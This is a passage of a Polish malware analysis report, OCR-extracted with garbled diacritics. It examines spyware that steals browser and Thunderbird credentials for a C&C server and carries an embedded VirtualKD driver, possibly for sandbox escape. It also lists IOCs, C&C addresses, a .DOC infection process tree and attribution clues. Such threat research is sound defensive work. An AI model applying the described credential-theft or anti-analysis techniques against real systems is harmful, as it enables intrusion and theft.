w IE (abe2869f-9b47-4cd9-a358-c22904dba7f) a nastepnie tych w Chrome.

To czego nie widac¢ na tej liscie, a widac¢ dopiero w kodzie maszynowym, to dostep do historii
przegladarki IE:
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Dodatkowo funkcja uzyskuje réwniez dostep do mechanizmu Vault wprowadzonego w
Windows 7. Prébuje ona pozyskac loginy i hasta zapamigtane w IE10, ktére az do wersji IE9
byty chronione mechanizmem DPAPI:
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Funkcja najpierw uzyskuje dostep do haset zapamietanych w kliencie pocztowym
Thunderbird:

illa Thunderbird"”

"APPDATA"™
+4Bh+arg_15C]
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DPAPI i przesytajac je do serwera
C&C:
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Ucieczka z Matrixa?

To co rzucito sie w oczy juz na samym poczatku analizy - przy pierwszym kontakcie z plikiem
binarnym przeznaczonej dla windows wersji modutu gtéwnego malware (oglgdajgc jego
zawartos¢ ulubionym trybem: w ASCII) - to fakt, iz na jego konicu ewidentnie znajdowat sie
drugi plik PE (zupetnie nie zobfuskowany), ktérego zawartos¢ — sgdzac po tablicach
importow i eksportéw — mogta sugerowag, iz jest to fragment kodu, posiadajgcy
funkcjonalno$¢ debugera jadra systemu:

R S D | - DR S DI - S
.kdum.d11 .KdUMGetActiveCallCount .KdDBTransition.KdD3Transition.KdDebuggerIn
itializeB.KdDebuggerInitialize1.KdReceivePacket .KdRestore .KdSave .KdSendPack
et.KdSetHiberRange

Plik znajdowat sie w sekcji ‘Resources’ pliku PE malware, jako siedemnasto kilobajtowy
binarny blob o nazwie ,KDVMDLL".

Pierwszym skojarzeniem byto, iz jest to modut malware odpowiedzialny za jego
funkcjonalnosé¢ rootkit.

Po krotkim dochodzeniu okazato sie jednak, iz zagniezdzony w resource’ach spyware plik
kdvm.dlIl nie jest modutem rootkit, lecz elementem opensource’owego projektu VirtualKD
autorstwa firmy SysProgs (http://virtualkd.sysprogs.org/), stuzgcego do wspotpracy

z debugerami jgdra WinDbg i KD oraz silnikami wirtualizacji VMWare i VirtualBox
Oprogramowanie to zostato stworzone w celu usprawnienia pracy analityka poprzez znaczne
przyspieszenie komunikacji GUEST — HOST w trakcie pracy.

Modut kdvm.dll (oryginalna nazwa pliku kdbazis.dll) stuzy do komunikacji miedzy jadrem
wirtualizowanego systemu, a zdalnym klientem GUI debuggera (WinDbg) znajdujgcym sie
na hoscie. Alternatywny kanat komunikacji RPC zestawiany jest poprzez bezposrednig
modyfikacje pamieci modutu debugera jgdra KDCOM.DLL (instalacja hook’éw) stuzgcego
do komunikacji szeregowej (COM) z WinDbg. Samo patchowanie sterownika i instalacja
hook’éw realizowana jest przez sterownik kdpatch.sys (sktadnik z oprogramowania ‘guest’

VirtualKD).
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Host GuestVM

Okazuje sie, iz publicznie dostepny jest kod zrodtowy co najmniej jednego eksploita PoC,
wykorzystujgcego zdalne przepetnienie liczby catkowitej po stronie klienckiej VirtualKD.
Publiczny eksploit daje w efekcie mozliwos¢ przeprowadzenia ataku DoS na silnik VMWare
po stronie hosta (skutkujgc crash’em wirtualnej maszyny, w ktérej np. analizowany jest
malware).

Nie mozna wiec wykluczy¢, iz mechanizm wykorzystania sterownika KDVM zostat
wbudowany przez autorow malware w celu wykorzystania réwniez eksploita zdalnego
wykonania kodu, w posiadaniu ktérego mogg by¢ tworcy malware, co czynito by malware
tak naprawde potencjalnym narzedziem do ucieczki z sandboxa.

Nie znalezliSmy natomiast zadnego odwotania w kodzie malware do zagniezdzonego,
znajdujgcego sie w sekcji resources pliku kdvm.dll. Kod malware nie zawiera ani procedury
wypakowujgcej modut, ani zadnego kodu prébujgcego uzyskaé dostep do przestrzeni
adresowej pamieci w ktérej sie znajduje, zatadowany jako fragment zmapowanej przestrzeni
pliku PE. Nie posiada rowniez funkcjonalnosci API (czy to statycznej czy dynamicznej)
dostepu do sekcji resources, ktorej jedynym sktadnikiem jest plik KDVM. Nalezy rowniez
dodacé iz potencjalny eksploit 0day wykorzystujgcy luke, na ktdrg miatby byé podatny kanat
komunikacji VirtualKD jest rzeczg zbyt cenng by uzywac¢ go do jednorazowego ataku na tego
typu cel. Wartos¢ finansowa tego i podobnych celéw, w razie udanego ataku na zasoby
bitcoin jest raczej wcigz niewspotmierna to wartosci eksploita Oday. Mozna wiec zatozy¢

iz funkcjonalnos$c¢ uzycia pliku kdvm.dll (czy to DoS czy RCE) nie jest wbudowana w kod
malware, lecz dostarczana na zyczenie przez operatora C&C, w razie podjecia decyzji

0 uzyciu eksploita.

Idac dalej $ciezkg paranoi - nalezy zauwazyd, iz tylko skrajnie podejrzliwy niskopoziomowy
programista sterownikow Windows oraz osoba zajmujgca sie inzynierig odwrotng i analizg
malware, mogliby posiadac tak wtasnie skonfigurowane podatne na atak srodowisko
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wirtualizacyjne (zdalny debugger jagdra WinDBG/KD i klienta VirtualKD) — efektywnie
detonujgc takg probke i pozwalajgc na reakcje w srodowisku maszyny fizyczne;.

To sugerowatoby, iz na liscie celow atakujgcych mogty znajdowac sie réwniez Srodowiska
wirtualizacji analitykdw malware.

Dlaczego jednak w celu eksploitacji zdalnej luki (po stronie host sandboxa) plik zostat
dotgczony fizycznie do modulu malware ? Gdyby atakujgcy chcieli wykorzysta¢ luke pakietu
VirtualKD do wykonania kodu w systemie host ofiary (i potencjalnie zaatakowa¢ analityka),
wykryliby po prostu istnienie zainstalowanego sterownika VirtualKD w systemie guest,

a nastepnie dostarczyli z jego uzyciem payload eksploita do podatnej strony klienckiej host.

Alternatywnym wyjasnieniem moze by¢ technika, stosowana dzi§ powszechnie przez APT.
Malware korzystajgc z faktu, iz sterownik jest podpisany cyfrowo i posiada luke
umozliwiajgcyg lokalne wykonanie kodu, probuje uzy¢ zagniezdzonego pliku sterownika do
wykonania kodu wymagajgcego eskalowanych uprawnien.

Pierwszym APT w ktorym zaobserwowano wykorzystanie tej wiasnie techniki byt Uroburos -
znany réwniez pod nazwg kodowg Turla - zaawansowane narzedzie przeznaczone do
prowadzenia walki elektronicznej o przeznaczeniu szpiegowskim. Jak pisze niemiecka firma
GData, ktdra pierwsza dokonata doktadnej analizy tego malware
(https://blog.gdatasoftware.com/2014/03/23966-uroburos-deeper-travel-into-kernel-
protection-mitigation) twércy Uroburos wykorzystali luke w podpisanym cyfrowo sterowniku
VirtualBox (w wersji 1.6.2), do obej$cia mechanizmu weryfikacji podpiséw cyfrowych
sterownikéw i instalacji wlasnego niepodpisanego sterownika zawierajgcego funkcjonalnos¢
rootkit. Z raportu opisujgcego wyniki obszernej analizy Uroburos, opublikowanego przez
GData w 2014 roku

(https://public.gdatasoftware.com/Web/Content/INT/Blog/2014/02 2014/documents/GData
Uroburos RedPaper EN v1.pdf) wynika, iz za stworzeniem Uroburos mogty sta¢ rosyjskie
stuzby wywiadu. Co wiecej, wg. raportu GData, Uroburos posiada wyrdzniki (m.in.
identyczne klucze szyfrujgce) moggce swiadczy¢ o tym, ze jego twdrcami sg cztonkowie
grupy odpowiedzialnej za zbudowanie narzedzia o nazwie Agent.BTZ, uzytego do ataku na
amerykanski Departament Obrony w 2008 roku. Przez niektérych atak ten okreslony zostat
mianem najwiekszego ataku elektronicznego na Stany Zjednoczone w historii, a jednym

z bezposrednich skutkow tego ataku miato by¢ powstanie amerykanskiej formacji wojskowej
US CYBERCOM. (https://en.wikipedia.org/wiki/2008 cyberattack on United States)

Na tropie ofiar grupy

W bazach publicznych automatycznych sandbox’éw mozna zauwazy¢ pojedyncze wzmianki
o malware charakteryzujgcym sie podobng budowg / posiadajgcych podobne 10C.
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10 sierpnia tego roku, do automatycznego sandboxa VxStream (https://www.hybrid-
analysis.com/sample/25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374bededfel78c5cha8?e
nvironmentld=100) zostata przestana prébka malware (prawdopodobnie przez analityka
badajgcego podobny atak targetowany na inng ofiare), posiadajgca identyczny z badanym
przez nas spyware statyczny tancuch tekstowy ,hyd7u5jdi8” — czyli fanncuch bedgcy seed’em
uzytym do generowania kluczy symetrycznych szyfrujgcych pliki konfiguracyjne i tablice
string’6w naszego malware. Malware posiadat réwniez wiele innych wspolnych wyroznikow
IOC np.: uzycie mechanizmu tunelowania komunikacji z C&C przez serwer TCP na porcie
4000 powercat’a, czy poczatkowy fragment Sciezki instalacji malware, udajgcego sktadnik
silnika Java: "%APPDATA%\Sun\Java”. R6znit go jednak od badanego przez nas inny
adres serwera wydawania rozkazéw (51.255.86.55).

Prébka umieszczona w tym samym sandboxie 5 dni wczesniej, wskazuje na to, iz wektorem
ataku w przypadku tej ofiary byta infekcja z uzyciem pliku .DOC:

- =9 WINWORD.EXE /n "C\3dba4aa4598b38299a335663ab21b663888a646567a7de76d53d37a15867d035.doc" (PID: 3464)
4 WmiPrvSE.exe %WINDIR%\system32\wbem\wmiprvse.exe -secured -Embedding (PID: 2936) @
L &1?WR03219.tmp (PID: 3168) B
t i@ cd.exe /c copy "%APPDATA%\Sun\Java\Deployment\jvsgr.exe+" "%APPDATA%\Sun\Java\Deployment\jvsgr.exe" (PID: 3136) @
[1]jvsgrexe -m "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content Word\~WR03219.tmp" (PID: 3156) Bl <*

Umieszczony na stronie plik binarny modutu gtéwnego malware (jvsgr.exe) zostat podpisany
certyfikatem wydanym przez CA COMODO dla firmy ,Issledovaniya i razrabotka” (z rosyjskiego:
»,Research and development”) z siedzibg w Moskwie (podobnie jak w przypadku naszego spyware).

Idgc dalej tym tropem, mozna znalez¢ linuxowy 64-bitowy malware o nazwie kodowej
EKOMS (SHA1: 3790284950a986bc28c76b5534bfe9cea1dd78b0), podpisany certyfikatem
wystawionym réwniez dla ,Issledovaniya i razrabotka”, ktéry wg. analizy pochodzacej ze
stycznia 2016 roku z silnika DrWeb (http://vms.drweb.com/virus/? is=1&i=7924647) posiada
funkcjonalnos¢ automatycznego robienia i przesytania zrzutéw ekranu co 30 sekund oraz
prowadzenia nastuchu audio i rejestracji plikow WAV.

Trzeba przyznaé, ze nazwa firmy ktéra podpisata obie pokrewne prébki ztosliwego kodu jest
dos¢ wymowna, cho¢ pewnie bardziej wymowna bytaby nazwa ,Research and malware
development”...

Advanced Paranoia Threat.

Pomimo, iz niektdre slady pozostawione przez autoréw badanego spyware prowadzg do
Rosiji, sg one tak bardzo rzucajgce sie w oczy i oczywiste, Zze ich obecno$¢ moze byé
celowa. Z jednej strony nie mozna wykluczy¢, iz Slady te zostaty pozostawione w celu
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zmylenia analitykéw Sledczych i miaty odwréci¢ uwage od prawdziwych napastnikow
stojgcych za atakiem, ktorzy - tak naprawde - mogg pochodzi¢ z dowolnego miejsca na
Swiecie. Z drugiej jednak strony pozostawienie sladéw mogto by¢ swoistym podpisem
autorow, zgodnym z panujgcg w niektérych krajach niepisang reguta: jesli popetniasz
wykroczenie elektroniczne przeciwko obywatelom swojego kraju — jestes przestepca

i bedziesz $cigany, jesli celem jest obcy — jestes bohaterem narodowym.

Konta pracownikow uniwersytetow zostaty najprawdopodobniej przejete i uzyte do
prowadzenia korespondencji z ofiarg oraz umieszczenia na serwerze uniwersytetu
spreparowanych pakietéw instalacyjnych STATA.

Pliki pakietow instalacyjnych z serwera Columbia zostaty usuniete, prawdopodobnie
w reakcji na kontakt z uniwersytetem i zgtoszenie incydentu.

Na chwile obecng serwer C&C uzyty do tego ataku (103.234.220.230) jest wcigz aktywny,
odpowiada na inicjacyjne potgczenie protokotu komunikacyjnego malware, a po potgczeniu
okresowo wysyta rozkaz przestania zrzutu ekranu. Mozna jednak z prawdopodobienstwem
bliskim pewnosci zatozy¢, iz operator serwera C&C analizujgc komunikacje malware

z serwerem, mogt do tej pory zdota¢ rozpoznac, iz malware zostat zidentyfikowany i jest w
trakcie analizy, a co za tym idzie — Ze proba ataku na polskiego programiste nie powiodta sie.

Nasuwajg sie wiec dwa wnioski: albo pojedynczy serwer C&C uzywany przez grupe
przestepcza, ktora stoi za zbudowaniem badanego spyware, jest uzywany do ataku na
wiecej niz jeden cel - albo — na licie celéw w tym przypadku mogli by¢ faktycznie takze
analitycy, a operator spyware utrzymuje komunikacje z analizowanym malware w nadziei,
ze dojdzie do infekcji ktorejs z ich maszyn.

Z drugiej strony czy programisci malware sg az tak ,bezsilni” wobec dziatalnosci analitykow
malware, ze postanowili obrac ich za cel ataku? Na pewno musimy przyznac, iz analiza
malware zbudowanego tylko i wytgcznie do tego jednego celu mogtaby by¢ budujgcym
doswiadczeniem...

Pomimo, iz zatozenie o ataku na programiste w celu pozbawienia go kryptowaluty byto

z poczatku catkiem zasadne, w Swietle poziomu zaawansowania badanego malware, oraz
jego powigzan z rownie zaawansowanym APT uzytym do prowadzenia dziatan
szpiegowskich, zatozenie to wydaje sie mato realne. Atakujgcy tak naprawde poswiecaliby

w tym przypadku zaawansowane, wiasnorecznie zbudowane na 3 rozne systemy operacyjne
narzedzie do przeprowadzenia ataku na pojedynczg osobe, tylko i wytgcznie w celu
kradziezy jej zasobow finansowych.

Wiecej - nie nalezy wykluczaé, iz nasza ofiara mogta wcale nie by¢ celem atakujgcych

— a przejecie jej maszyny napastnicy chcieli wykorzystac tylko po to by dotrze¢ do jedne;j

z 0s0b, z ktorg ofiara prowadzi korespondencje — polskiego naukowca specjalizujgcego sie
w dziedzinie kryptografii. Doktadnie tak atakujgcy mogli zrobi¢ wczesniej — przejmujac
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skrzynki profesoréw uniwersytetow w US i w Wielkiej Brytanii, oraz uzywajac ich do
przeprowadzenia ataku na polskiego programiste.

Mozna wiec postawic teze, iz bardziej prawdopodobnym celem grupy stojgcej za atakiem,
mogta by¢ préba infiltracji srodowiska naukowego zajmujgcego sie kryptografig, a doktadniej
— badaniami dotyczgcymi rozwoju kryptowalut.

Pozostaje tylko dodac, iz w walce z tego typu napastnikiem paranoja moze stac¢ sie naszym
najlepszym sojusznikiem...
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